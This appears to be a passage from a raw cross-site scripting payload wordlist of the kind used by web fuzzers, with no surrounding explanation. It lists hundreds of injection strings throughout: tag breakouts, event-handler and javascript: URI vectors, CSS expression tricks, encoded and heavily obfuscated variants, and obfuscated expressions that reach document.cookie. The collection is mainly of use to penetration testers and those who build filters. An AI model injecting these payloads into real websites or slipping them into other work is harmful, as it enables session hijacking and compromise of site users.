alert(1);}</script>\r\n'><script>if(\"x\\\".length==2) { alert(1);}</script>\r\n</ScrIpt><script>if(\"x\\\".length==2) { alert(1);}</script>\r\n<script>if(\"x\\\".length==1) { alert(1);}</script>\r\n</ScrIpt><script>if(\"x\\\".length==1) { alert(1);}</script>\r\n\"><script>if(\"x\\\".length==1) { alert(1);}</script>\r\n</ScrIpt><script>if(\"x\\\".length==1) { alert(1);}</script>\r\n'><script>if(\"x\\\".length==1) { alert(1);}</script>\r\n</ScrIpt><script>if(\"x\\\".length==1) { alert(1);}</script>\r\n<img src=xxx:xxx title=1/onerror=alert(1)>\r\n\"><img src=xxx:xxx title=1/onerror=alert(1)>\r\n'><img src=xxx:xxx title=1/onerror=alert(1)>\r\n<script>if(\"xx\" == \"xx\") { alert(1);}</script>\r\n</ScrIpt><script>if(\"xx\" == \"xx\") { alert(1);}</script>\r\n\"><script>if(\"xx\" == \"xx\") { alert(1);}</script>\r\n</ScrIpt><script>if(\"xx\" == \"xx\") { alert(1);}</script>\r\n'><script>if(\"xx\" == \"xx\") { alert(1);}</script>\r\n</ScrIpt><script>if(\"xx\" == \"xx\") { alert(1);}</script>\r\n<img src=x onError=\"javascript:alert(1)\"/>\r\n\"><img src=x onError=\"javascript:alert(1)\"/>\r\n'><img src=x onError=\"javascript:alert(1)\"/>\r\n\"`'><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\r\n\"><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\r\n'><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\r\n<script type=\"text/javascript\">alert(1);</script>\r\n\"><script type=\"text/javascript\">alert(1);</script>\r\n'><script type=\"text/javascript\">alert(1);</script>\r\n<script charset='utf-8'>alert(1)</script>\r\n\"><script charset='utf-8'>alert(1)</script>\r\n'><script charset='utf-8'>alert(1)</script>\r\n<style></style><img src=\"about:blank\" onerror=alert(1)//></style>\r\n\"><style></style><img src=\"about:blank\" onerror=alert(1)//></style>\r\n'><style></style><img src=\"about:blank\" onerror=alert(1)//></style>\r\n<script>a='X\\\\';alert(1)//X';</script>\r\n</ScrIpt><script>a='X\\\\';alert(1)//X';</script>\r\n\"><script>a='X\\\\';alert(1)//X';</script>\r\n</ScrIpt><script>a='X\\\\';alert(1)//X';</script>\r\n'><script>a='X\\\\';alert(1)//X';</script>\r\n</ScrIpt><script>a='X\\\\';alert(1)//X';</script>\r\n<script>try{eval(\"<></>\");alert(1)}catch(e){alert(1)};</script>\r\n</ScrIpt><script>try{eval(\"<></>\");alert(1)}catch(e){alert(1)};</script>\r\n\"><script>try{eval(\"<></>\");alert(1)}catch(e){alert(1)};</script>\r\n</ScrIpt><script>try{eval(\"<></>\");alert(1)}catch(e){alert(1)};</script>\r\n'><script>try{eval(\"<></>\");alert(1)}catch(e){alert(1)};</script>\r\n</ScrIpt><script>try{eval(\"<></>\");alert(1)}catch(e){alert(1)};</script>\r\n<div class=\"foo1\">X</div> <script>document.getElementsByClassName('foo1')[0]?alert(1):0</script>\r\n\"><div class=\"foo1\">X</div> <script>document.getElementsByClassName('foo1')[0]?alert(1):0</script>\r\n'><div class=\"foo1\">X</div> <script>document.getElementsByClassName('foo1')[0]?alert(1):0</script>\r\n\"`'/><img/onload=alert(1) src=\"\"/>\r\n<!--<img src=xxx:x onerror=alert(1)> -->\r\n\"><!--<img src=xxx:x onerror=alert(1)> -->\r\n'><!--<img src=xxx:x onerror=alert(1)> -->\r\n<script>/* */alert(1)// */</script>\r\n</ScrIpt><script>/* */alert(1)// */</script>\r\n\"><script>/* */alert(1)// */</script>\r\n</ScrIpt><script>/* */alert(1)// */</script>\r\n'><script>/* */alert(1)// */</script>\r\n</ScrIpt><script>/* */alert(1)// */</script>\r\n\"'`>X<div style=\"font-family:'foo;x:expression(alert(1));/*';\">X\r\n\"'`>X<div style=\"font-family:'foo'x:expression(alert(1));/*';\">X\r\n\"'`><script>a=/X;;i=0;alert(1);a/i;</script>\r\n<a href=\"><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\r\n\"><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\r\n'><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\" />\r\n\"'`><p><svg><script>a='X;alert(1)//';</script></p>\r\n<p><svg><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\r\n\"><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\r\n'><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script></p>\r\n<iframe src=\"vbscript:alert()></iframe>\r\n\"><iframe src=\"vbscript:alert()></iframe>\r\n'><iframe src=\"vbscript:alert()></iframe>\r\nX<div style=\"x:expression(alert(1))\">X\r\nX<div style=\"xexpression(alert(1))\">X\r\n<script src=\"data:text/plainalert(1)\"></script>\r\n\"><script src=\"data:text/plainalert(1)\"></script>\r\n'><script src=\"data:text/plainalert(1)\"></script>\r\n<script src=\"data:,alert(1)\"></script>\r\n\"><script src=\"data:,alert(1)\"></script>\r\n'><script src=\"data:,alert(1)\"></script>\r\n<script src=\"data:text/plain,alert(1)\"></script>\r\n\"><script src=\"data:text/plain,alert(1)\"></script>\r\n'><script src=\"data:text/plain,alert(1)\"></script>\r\n<script> if ('a'.trim() === '') { alert(1); } </script>\r\n</ScrIpt><script> if ('a'.trim() === '') { alert(1); } </script>\r\n\"><script> if ('a'.trim() === '') { alert(1); } </script>\r\n</ScrIpt><script> if ('a'.trim() === '') { alert(1); } </script>\r\n'><script> if ('a'.trim() === '') { alert(1); } </script>\r\n</ScrIpt><script> if ('a'.trim() === '') { alert(1); } </script>\r\n\"'`><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\r\n\"><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\r\n'><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\r\n\"'`><img src=xxx:x onerror=alert(1)>\r\n'`\"><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\r\n\"><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\r\n'><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\r\n`\"'><img src=xxx:x onerror=alert(1)>\r\n'\"`><script>/* *alert(1)// */</script>\r\n`'\"><script>window['alert'](1)</script>\r\n\\u0031+\\u0031\\u005b'\\145\\166\\141\\154'\\u005d\\u0028'\\141\\154\\145\\162\\164\\50\\61\\51'\\u0029\r\n\\u0030\\u005b\\u0022\\x65\\x76\\x61\\x6C\"\\u005d\\u0028\\u0027\\x61\\x6C\\x65\\x72\\x74\\x28\\x31\\x29'\\u0029\r\n0['eval']('alert(1)')\r\n<a href=\"javascript:\\u0031+\\u0031\\u005b'\\145\\166\\141\\154'\\u005d\\u0028'\\141\\154\\145\\162\\164\\50\\61\\51'\\u0029\">X</a>\r\n\"><a href=\"javascript:\\u0031+\\u0031\\u005b'\\145\\166\\141\\154'\\u005d\\u0028'\\141\\154\\145\\162\\164\\50\\61\\51'\\u0029\">X</a>\r\n'><a href=\"javascript:\\u0031+\\u0031\\u005b'\\145\\166\\141\\154'\\u005d\\u0028'\\141\\154\\145\\162\\164\\50\\61\\51'\\u0029\">X</a>\r\n<a href=\"&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x5C&#x75&#x30&#x30&#x33&#x31&#x2B&#x5C&#x75&#x30&#x30&#x33&#x31&#x5C&#x75&#x30&#x30&#x35&#x62&#x27&#x5C&#x31&#x34&#x35&#x5C&#x31&#x36&#x36&#x5C&#x31&#x34&#x31&#x5C&#x31&#x35&#x34&#x27&#x5C&#x75&#x30&#x30&#x35&#x64&#x5C&#x75&#x30&#x30&#x32&#x38&#x27&#x5C&#x31&#x34&#x31&#x5C&#x31&#x35&#x34&#x5C&#x31&#x34&#x35&#x5C&#x31&#x36&#x32&#x5C&#x31&#x36&#x34&#x5C&#x35&#x30&#x5C&#x36&#x31&#x5C&#x35&#x31&#x27&#x5C&#x75&#x30&#x30&#x32&#x39\">X</a>\r\n\"><a href=\"&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x5C&#x75&#x30&#x30&#x33&#x31&#x2B&#x5C&#x75&#x30&#x30&#x33&#x31&#x5C&#x75&#x30&#x30&#x35&#x62&#x27&#x5C&#x31&#x34&#x35&#x5C&#x31&#x36&#x36&#x5C&#x31&#x34&#x31&#x5C&#x31&#x35&#x34&#x27&#x5C&#x75&#x30&#x30&#x35&#x64&#x5C&#x75&#x30&#x30&#x32&#x38&#x27&#x5C&#x31&#x34&#x31&#x5C&#x31&#x35&#x34&#x5C&#x31&#x34&#x35&#x5C&#x31&#x36&#x32&#x5C&#x31&#x36&#x34&#x5C&#x35&#x30&#x5C&#x36&#x31&#x5C&#x35&#x31&#x27&#x5C&#x75&#x30&#x30&#x32&#x39\">X</a>\r\n'><a href=\"&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x5C&#x75&#x30&#x30&#x33&#x31&#x2B&#x5C&#x75&#x30&#x30&#x33&#x31&#x5C&#x75&#x30&#x30&#x35&#x62&#x27&#x5C&#x31&#x34&#x35&#x5C&#x31&#x36&#x36&#x5C&#x31&#x34&#x31&#x5C&#x31&#x35&#x34&#x27&#x5C&#x75&#x30&#x30&#x35&#x64&#x5C&#x75&#x30&#x30&#x32&#x38&#x27&#x5C&#x31&#x34&#x31&#x5C&#x31&#x35&#x34&#x5C&#x31&#x34&#x35&#x5C&#x31&#x36&#x32&#x5C&#x31&#x36&#x34&#x5C&#x35&#x30&#x5C&#x36&#x31&#x5C&#x35&#x31&#x27&#x5C&#x75&#x30&#x30&#x32&#x39\">X</a>\r\n<input id='1'><input id=1><script>alert(1)</script>\r\n\"><input id='1'><input id=1><script>alert(1)</script>\r\n'><input id='1'><input id=1><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\r\n\"><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\r\n'><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\r\n<a href=\"invalid:1\" id=x name=y>X</a><a href=\"invalid:2\" id=x name=y>X</a><script>alert(x.y[0])</script>\r\n\"><a href=\"invalid:1\" id=x name=y>X</a><a href=\"invalid:2\" id=x name=y>X</a><script>alert(x.y[0])</script>\r\n'><a href=\"invalid:1\" id=x name=y>X</a><a href=\"invalid:2\" id=x name=y>X</a><script>alert(x.y[0])</script>\r\n<a href=1 name=x>X</a><a href=1 name=x>X</a><script>alert(x.removeChild)//undefinedalert(x.parentNode)//undefined</script>\r\n\"><a href=1 name=x>X</a><a href=1 name=x>X</a><script>alert(x.removeChild)//undefinedalert(x.parentNode)//undefined</script>\r\n'><a href=1 name=x>X</a><a href=1 name=x>X</a><script>alert(x.removeChild)//undefinedalert(x.parentNode)//undefined</script>\r\n<a href=\"123\" id=x>X</a><script>x='javascript:alert(1)'//only in compat!;</script>\r\n\"><a href=\"123\" id=x>X</a><script>x='javascript:alert(1)'//only in compat!;</script>\r\n'><a href=\"123\" id=x>X</a><script>x='javascript:alert(1)'//only in compat!;</script>\r\n<form name=self location=\"javascript:alert(1)\"\r\n\"><form name=self location=\"javascript:alert(1)\"\r\n'><form name=self location=\"javascript:alert(1)\">\r\n\"><form name=self location=\"javascript:alert(1)\"\r\n\"><form name=self location=\"javascript:alert(1)\"\r\n'><form name=self location=\"javascript:alert(1)\">\r\n'><form name=self location=\"javascript:alert(1)\"\r\n\"><form name=self location=\"javascript:alert(1)\"\r\n'><form name=self location=\"javascript:alert(1)\"></form><script>if(top!=self){ top.location=self.location}</script>\r\n\"><form name=self location=\"javascript:alert(1)\"></form><script>if(top!=self){ top.location=self.location}</script>\r\n'><form name=self location=\"javascript:alert(1)\"></form><script>if(top!=self){ top.location=self.location}</script>\r\n<form name=self location=\"javascript&amp;#58;alert(1)\"></form><script>if(top!=self){ top.location=self.location}</script>\r\n\"><form name=self location=\"javascript&amp;#58;alert(1)\"></form><script>if(top!=self){ top.location=self.location}</script>\r\n'><form name=self location=\"javascript&amp;#58;alert(1)\"></form><script>if(top!=self){ top.location=self.location}</script>\r\n<iframe name=x></iframe>\"></iframe><a href=\"http://127.0.0.1:3555/xss_serve_payloads/X.html\" target=x id=x></a><script>window.onload=function(){x.click()}</script>\r\n\"><iframe name=x></iframe>\"></iframe><a href=\"http://127.0.0.1:3555/xss_serve_payloads/X.html\" target=x id=x></a><script>window.onload=function(){x.click()}</script>\r\n'><iframe name=x></iframe>\"></iframe><a href=\"http://127.0.0.1:3555/xss_serve_payloads/X.html\" target=x id=x></a><script>window.onload=function(){x.click()}</script>\r\n%3Cform%20name%3D%22body%22%20onmouseover%3D%22alert(1)%22%20style%3D%22height%3A800px%22%3E%3Cfieldset%20name%3D%22attributes%22%3E%3Cform%3E%3C%2Fform%3E%3Cform%20name%3D%22parentNode%22%3E%3Cimg%20id%3D%22attributes%22%3E%3C%2Fform%3E%3C%2Ffieldset%3E%3C%2Fform%3E\r\n\"onmouseover=\"alert(1)\"a=\"\r\n'onmouseover='alert(1)'a='\r\n'%20onmouseover=alert(1)'\r\n%22%20onmouseover=javascript:alert(1)%20%22\r\n\\');alert(1);//\r\n);alert(1)//\r\n');alert(1)//\r\n%26%2339;-alert(1)//\r\n%22);alert(1);//\r\n%E0<body onload=alert(1)>\r\n%00<body onload=alert(1)>\r\nX'%20alert(1)%2F%2F\r\nX%22%20alert(1)%2F%2F\r\n%5C%5C'%2Balert(1)%3B%2F%2F\r\n%3Cscript%3Ealert(1)%3B%3C%2Fscript%3E\r\nalert(1)%3B\r\n%3Cscript%3Ea%3D%2FX%2F\r\nalert(1)%3C%2Fscript%3E\r\n%22%3E%3Cscript%3Ealert(1)%3B%3C%2Fscript%3E\r\nX%20-%22%3E%3Cscript%3Ealert(1)%3C%2Fscript%3E\r\nX%20%3Cscript%3Ealert(1)%3B%3C%2Fscript%3E\r\n<SCRIPT>alert(1);</SCRIPT>\r\n</ScrIpt><SCRIPT>alert(1);</SCRIPT>\r\n\"><SCRIPT>alert(1);</SCRIPT>\r\n</ScrIpt><SCRIPT>alert(1);</SCRIPT>\r\n'><SCRIPT>alert(1);</SCRIPT>\r\n</ScrIpt><SCRIPT>alert(1);</SCRIPT>\r\n<META HTTP-EQUIV=\"Link\" Content=\"<javascript:alert(1)>; REL=stylesheet\">\r\n\"><META HTTP-EQUIV=\"Link\" Content=\"<javascript:alert(1)>; REL=stylesheet\">\r\n'><META HTTP-EQUIV=\"Link\" Content=\"<javascript:alert(1)>; REL=stylesheet\">\r\n<STYLE>.X{background-image:url(\"javascript:alert(1)\");}</STYLE>\r\n\"><STYLE>.X{background-image:url(\"javascript:alert(1)\");}</STYLE>\r\n'><STYLE>.X{background-image:url(\"javascript:alert(1)\");}</STYLE><A CLASS=X></A>\r\n\"><STYLE>.X{background-image:url(\"javascript:alert(1)\");}</STYLE><A CLASS=X></A>\r\n'><STYLE>.X{background-image:url(\"javascript:alert(1)\");}</STYLE><A CLASS=X></A>\r\n\"><A CLASS=X></A>\r\n'><A CLASS=X></A>\r\n<!--<value><![CDATA[<XML ID=I><X><C><![CDATA[<IMG SRC=\"javas<![CDATA[cript:alert(1);\">\r\n\"><!--<value><![CDATA[<XML ID=I><X><C><![CDATA[<IMG SRC=\"javas<![CDATA[cript:alert(1);\">\r\n'><!--<value><![CDATA[<XML ID=I><X><C><![CDATA[<IMG SRC=\"javas<![CDATA[cript:alert(1);\">\r\n<img src=a onerror=alert(1)\r\n\"><img src=a onerror=alert(1)\r\n'><img src=a onerror=alert(1) %0A>\r\n\"><img src=a onerror=alert(1) %0A>\r\n'><img src=a onerror=alert(1) %0A>\r\n<img src=\"x\" class=\"''onerror=alert(1)\">\r\n\"><img src=\"x\" class=\"''onerror=alert(1)\">\r\n'><img src=\"x\" class=\"''onerror=alert(1)\">\r\n0<aside xmlns=\"x><img src=x onerror=alert(1)\">1</aside>\r\n0<aside xmlns=\"x><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\r\n\"><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\r\n'><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\">1</aside>\r\n0<aside xmlns=\"foo:img src=x onerror=alert(1)>\">123\r\n<p  style=\"font-family:'\\22\\3bx:expression(alert(1))/*'\">\r\n\"><p  style=\"font-family:'\\22\\3bx:expression(alert(1))/*'\">\r\n'><p  style=\"font-family:'\\22\\3bx:expression(alert(1))/*'\">\r\n<p style=\"font-family: 'foo\\27\\3b color\\3a expression(alert(1))/*\r\n\"><p style=\"font-family: 'foo\\27\\3b color\\3a expression(alert(1))/*\r\n'><p style=\"font-family: 'foo\\27\\3b color\\3a expression(alert(1))/*\r\n<p style=\"fon\\22\\3e\\3cimg\\20src\\3dx\\20onerror\\3d alert\\28 1\\29\\3et-family:'foobar'\">\r\n\"><p style=\"fon\\22\\3e\\3cimg\\20src\\3dx\\20onerror\\3d alert\\28 1\\29\\3et-family:'foobar'\">\r\n'><p style=\"fon\\22\\3e\\3cimg\\20src\\3dx\\20onerror\\3d alert\\28 1\\29\\3et-family:'foobar'\">\r\n<p style=\"filter: 'expression(alert(1))'\">\r\n\"><p style=\"filter: 'expression(alert(1))'\">\r\n'><p style=\"filter: 'expression(alert(1))'\">\r\n<svg><style>&ltimg src=x onerror=alert(1)&gt</svg>\r\n\"><svg><style>&ltimg src=x onerror=alert(1)&gt</svg>\r\n'><svg><style>&ltimg src=x onerror=alert(1)&gt</svg>\r\n<p style=\"font-family: 'foo&amp;x5c;27&amp;#x5c;3bx:expr&amp;#x65;ession(alert(1))'\">\r\n\"><p style=\"font-family: 'foo&amp;x5c;27&amp;#x5c;3bx:expr&amp;#x65;ession(alert(1))'\">\r\n'><p style=\"font-family: 'foo&amp;x5c;27&amp;#x5c;3bx:expr&amp;#x65;ession(alert(1))'\">\r\n<iframe/src=\"data:text/html;&Tab;base64&Tab;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==\">\r\n\"><iframe/src=\"data:text/html;&Tab;base64&Tab;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==\">\r\n'><iframe/src=\"data:text/html;&Tab;base64&Tab;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==\">\r\n<svg><script xlink:href=data&colon;,window.open('http://www.opensecurity.in')></script\r\n\"><svg><script xlink:href=data&colon;,window.open('http://www.opensecurity.in')></script\r\n'><svg><script xlink:href=data&colon;,window.open('http://www.opensecurity.in')></script\r\nhttp://www.opensecurity<script .in>alert(document.location)</script\r\n&#13;<blink/&#13; onmouseover=pr&#x6F;mp&#116;(1)>OnMouseOver\r\n<div/style=\"width:expression(confirm(1))\">X</div>\r\n\"><div/style=\"width:expression(confirm(1))\">X</div>\r\n'><div/style=\"width:expression(confirm(1))\">X</div>\r\nperl -e 'print \"&lt;IMG SRC=java\\0script:alert(\\\"X\\\")&gt;\";' &gt; out\r\nperl -e 'print \"&lt;SCR\\0IPT&gt;alert(\\\"X\\\")&lt;/SCR\\0IPT&gt;\";' &gt; out\r\nperl -e 'print \"<IMG SRC=java\\0script:alert(1)>\";'> out\r\nwindow[\"ale\"+(!![]+[])[-~[]]+(!![]+[])[+[]]]()\r\nwindow[\"ale\"+\"\\x72\\x74\"]()\r\nwindow[\"\\x61\\x6c\\x65\\x72\\x74\"]()\r\nwindow['ale'+(!![]+[])[-~[]]+(!![]+[])[+[]]]()\r\nwindow['ale'+'\\x72\\x74']()\r\nwindow['\\x61\\x6c\\x65\\x72\\x74']()\r\nwindow[(+{}+[])[-~[]]+(![]+[])[-~-~[]]+([][+[]]+[])[-~-~-~[]]+(!![]+[])[-~[]]+(!![]+[])[+[]]]((-~[]+[]))\r\nwindow[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][+[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]]\r\nthis[\"ale\"+(!![]+[])[-~[]]+(!![]+[])[+[]]]()\r\nthis[\"ale\"+\"\\x72\\x74\"]()\r\nthis[\"\\x61\\x6c\\x65\\x72\\x74\"]()\r\nthis['ale'+'\\x72\\x74']()\r\nthis['\\x61\\x6c\\x65\\x72\\x74']()\r\nthis[(+{}+[])[-~[]]+(![]+[])[-~-~[]]+([][+[]]+[])[-~-~-~[]]+(!![]+[])[-~[]]+(!![]+[])[+[]]]((-~[]+[]))\r\nthis[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][+[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]]\r\nthis[\"document\"][\"cookie\"]\r\nthis[\"document\"][\"\\x63\\x6f\\x6f\\x6b\\x69\\x65\"]\r\nthis[\"\\x64\\x6f\\x63\\x75\\x6d\\x65\\x6e\\x74\"][\"cookie\"]\r\nthis[\"\\x64\\x6f\\x63\\x75\\x6d\\x65\\x6e\\x74\"][\"\\x63\\x6f\\x6f\\x6b\\x69\\x65\"]\r\nthis[\"document\"][({}+[])[!+[]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+({}+[])[+!![]]+\"kie\"]\r\nthis[\"document\"][({}+[])[!+[]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+({}+[])[+!![]]+\"\\x6b\\x69\\x65\"]\r\nthis[\"docum\"+([][+[]]+[])[!+[]+!![]+!![]]+([][+[]]+[])[+!![]]+(!![]+[])[+[]]][({}+[])[!+[]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+({}+[])[+!![]]+\"\\x6b\\x69\\x65\"]\r\nthis[\"docum\"+([][+[]]+[])[!+[]+!![]+!![]]+([][+[]]+[])[+!![]]+(!![]+[])[+[]]][({}+[])[!+[]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+({}+[])[+!![]]+\"kie\"]\r\nthis[\"docum\"+([][+[]]+[])[!+[]+!![]+!![]]+([][+[]]+[])[+!![]]+(!![]+[])[+[]]][\"\\x63\\x6f\\x6f\\x6b\\x69\\x65\"]\r\nthis[\"docum\"+([][+[]]+[])[!+[]+!![]+!![]]+([][+[]]+[])[+!![]]+(!![]+[])[+[]]][\"cookie\"]\r\nthis[\"\\x64\\x6f\\x63\\x75\\x6d\"+([][+[]]+[])[!+[]+!![]+!![]]+([][+[]]+[])[+!![]]+(!![]+[])[+[]]][({}+[])[!+[]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+({}+[])[+!![]]+\"\\x6b\\x69\\x65\"]\r\nthis[\"\\x64\\x6f\\x63\\x75\\x6d\"+([][+[]]+[])[!+[]+!![]+!![]]+([][+[]]+[])[+!![]]+(!![]+[])[+[]]][({}+[])[!+[]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+({}+[])[+!![]]+\"kie\"]\r\nthis[\"\\x64\\x6f\\x63\\x75\\x6d\"+([][+[]]+[])[!+[]+!![]+!![]]+([][+[]]+[])[+!![]]+(!![]+[])[+[]]][\"\\x63\\x6f\\x6f\\x6b\\x69\\x65\"]\r\nthis[\"\\x64\\x6f\\x63\\x75\\x6d\"+([][+[]]+[])[!+[]+!![]+!![]]+([][+[]]+[])[+!![]]+(!![]+[])[+[]]][\"cookie\"]\r\nthis['document']['cookie']\r\nthis['document']['\\x63\\x6f\\x6f\\x6b\\x69\\x65']\r\nthis['\\x64\\x6f\\x63\\x75\\x6d\\x65\\x6e\\x74']['cookie']\r\nthis['\\x64\\x6f\\x63\\x75\\x6d\\x65\\x6e\\x74']['\\x63\\x6f\\x6f\\x6b\\x69\\x65']\r\nthis['document'][({}+[])[!+[]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+({}+[])[+!![]]+'kie']\r\nthis['document'][({}+[])[!+[]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+({}+[])[+!![]]+'\\x6b\\x69\\x65']\r\nthis['docum'+([][+[]]+[])[!+[]+!![]+!![]]+([][+[]]+[])[+!![]]+(!![]+[])[+[]]][({}+[])[!+[]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+({}+[])[+!![]]+'\\x6b\\x69\\x65']\r\nthis['docum'+([][+[]]+[])[!+[]+!![]+!![]]+([][+[]]+[])[+!![]]+(!![]+[])[+[]]][({}+[])[!+[]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+({}+[])[+!![]]+'kie']\r\nthis['docum'+([][+[]]+[])[!+[]+!![]+!![]]+([][+[]]+[])[+!![]]+(!![]+[])[+[]]]['\\x63\\x6f\\x6f\\x6b\\x69\\x65']\r\nthis['docum'+([][+[]]+[])[!+[]+!![]+!![]]+([][+[]]+[])[+!![]]+(!![]+[])[+[]]]['cookie']\r\nthis['\\x64\\x6f\\x63\\x75\\x6d'+([][+[]]+[])[!+[]+!![]+!![]]+([][+[]]+[])[+!![]]+(!![]+[])[+[]]][({}+[])[!+[]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+({}+[])[+!![]]+'\\x6b\\x69\\x65']\r\nthis['\\x64\\x6f\\x63\\x75\\x6d'+([][+[]]+[])[!+[]+!![]+!![]]+([][+[]]+[])[+!![]]+(!![]+[])[+[]]][({}+[])[!+[]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+({}+[])[+!![]]+'kie']\r\nthis['\\x64\\x6f\\x63\\x75\\x6d'+([][+[]]+[])[!+[]+!![]+!![]]+([][+[]]+[])[+!![]]+(!![]+[])[+[]]]['\\x63\\x6f\\x6f\\x6b\\x69\\x65']\r\nthis['\\x64\\x6f\\x63\\x75\\x6d'+([][+[]]+[])[!+[]+!![]+!![]]+([][+[]]+[])[+!![]]+(!![]+[])[+[]]]['cookie']\r\ndocument[\"cookie\"]\r\ndocument[\"\\x63\\x6f\\x6f\\x6b\\x69\\x65\"]\r\ndocument[({}+[])[!+[]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+({}+[])[+!![]]+\"kie\"]\r\ndocument[({}+[])[!+[]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+({}+[])[+!![]]+\"\\x6b\\x69\\x65\"]\r\ndocument['cookie']\r\ndocument['\\x63\\x6f\\x6f\\x6b\\x69\\x65']\r\ndocument[({}+[])[!+[]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+({}+[])[+!![]]+'kie']\r\ndocument[({}+[])[!+[]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+({}+[])[+!![]]+'\\x6b\\x69\\x65']\r\n%3Cscript%3Edocument.body.innerHTML=%22%3Ca%20onmouseover%0B=location=%27\\x6A\\x61\\x76\\x61\\x53\\x43\\x52\\x49\\x50\\x54\\x26\\x63\\x6F\\x6C\\x6F\\x6E\\x3B\\x63\\x6F\\x6E\\x66\\x69\\x72\\x6D\\x26\\x6C\\x70\\x61\\x72\\x3B\\x64\\x6F\\x63\\x75\\x6D\\x65\\x6E\\x74\\x2E\\x63\\x6F\\x6F\\x6B\\x69\\x65\\x26\\x72\\x70\\x61\\x72\\x3B%27%3E%3Cinput%20name=attributes%3E%22;%3C/script%3E\r\n<meta http-equiv=\"X-UA-Compatible\" content=\"IE=5\"><p style=\"font-family:',;a\\\\22\\\\3e\\\\3cimg\\\\20src\\\\3dx\\\\20onerror\\\\3d\\\\61lert\\\\28\\\\31\\\\29\\\\3e:1'\">oh-oh</p>\r\n\"><meta http-equiv=\"X-UA-Compatible\" content=\"IE=5\"><p style=\"font-family:',;a\\\\22\\\\3e\\\\3cimg\\\\20src\\\\3dx\\\\20onerror\\\\3d\\\\61lert\\\\28\\\\31\\\\29\\\\3e:1'\">oh-oh</p>\r\n'><meta http-equiv=\"X-UA-Compatible\" content=\"IE=5\"><p style=\"font-family:',;a\\\\22\\\\3e\\\\3cimg\\\\20src\\\\3dx\\\\20onerror\\\\3d\\\\61lert\\\\28\\\\31\\\\29\\\\3e:1'\">oh-oh</p>\r\n<iframe/onload=action=/confir/.source+'m';eval(action)(1)>\r\n\"><iframe/onload=action=/confir/.source+'m';eval(action)(1)>\r\n'><iframe/onload=action=/confir/.source+'m';eval(action)(1)>\r\n<!--[if WindowsEdition]><script>confirm(1);</script><![endif]-->\r\n\"><!--[if WindowsEdition]><script>confirm(1);</script><![endif]-->\r\n'><!--[if WindowsEdition]><script>confirm(1);</script><![endif]-->\r\n<img src=x onerror=confirm(/X/)>\r\n\"><img src=x onerror=confirm(/X/)>\r\n'><img src=x onerror=confirm(/X/)>\r\n<form/action=ja&Tab;vascr&Tab;ipt&colon;confirm(1)> <button/type=submit>\r\n\"><form/action=ja&Tab;vascr&Tab;ipt&colon;confirm(1)> <button/type=submit>\r\n'><form/action=ja&Tab;vascr&Tab;ipt&colon;confirm(1)> <button/type=submit>\r\n<style/onload    =    !-alert&#x28;1&#x29;>\r\n\"><style/onload    =    !-alert&#x28;1&#x29;>\r\n'><style/onload    =    !-alert&#x28;1&#x29;>\r\n<iframe/name=\"if(0){\\u0061lert(1)}else{\\u0061lert(1)}\"/onload=\"eval(name)\";>\r\n\"><iframe/name=\"if(0){\\u0061lert(1)}else{\\u0061lert(1)}\"/onload=\"eval(name)\";>\r\n'><iframe/name=\"if(0){\\u0061lert(1)}else{\\u0061lert(1)}\"/onload=\"eval(name)\";>\r\n<svg><?GMO=`<ftw=`skrowtillehehtwoh; onload=confirm(location);\r\n\"><svg><?GMO=`<ftw=`skrowtillehehtwoh; onload=confirm(location);\r\n'><svg><?GMO=`<ftw=`skrowtillehehtwoh; onload=confirm(location);\r\n\"><img src=x onerror=confirm(1);>\r\n#&quot;&gt;&lt;img src=x onerror=confirm(1);&gt;\r\n<img/src=x alt=confirm(1) onerror=eval(alt)>\r\n\"><img/src=x alt=confirm(1) onerror=eval(alt)>\r\n'><img/src=x alt=confirm(1) 